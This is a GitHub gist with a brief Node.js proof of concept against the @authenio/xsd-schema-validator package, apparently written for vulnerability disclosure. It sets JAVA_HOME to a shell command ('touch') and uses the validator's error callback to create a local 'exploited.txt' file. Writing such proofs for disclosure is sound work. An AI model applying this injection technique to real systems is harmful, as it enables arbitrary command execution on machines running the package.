Last active
October 26, 2023 12:26
-
-
Save mcoimbra/e6d8b3347093cf73c666dafffb1936fa to your computer and use it in GitHub Desktop.
Package authenio-xsd-schema-validator: The error handling of the Validator.prototype.validateXML call is delegated to a callback function provided by the user, through which I was able to create a local 'exploit.txt' file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict' | |
| const pkg = require('@authenio/xsd-schema-validator'); | |
| process.env.JAVA_HOME = 'touch'; | |
| const xml = ''; | |
| const schema = ''; | |
| const callback = function(err, result) { | |
| const fs = require('node:fs'); | |
| let fd = fs.openSync('exploited.txt', 'a'); | |
| fs.closeSync(fd); | |
| }; | |
| /* | |
| * This call will result in an internal error, triggering the call of our 'callback' function. | |
| * Result: a local 'exploited.txt' file is created. | |
| * Using node:vm could have been a potential protection if the package authors still wish to | |
| * accept a user-defined callback function. | |
| */ | |
| pkg.validateXML(xml, schema, callback); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment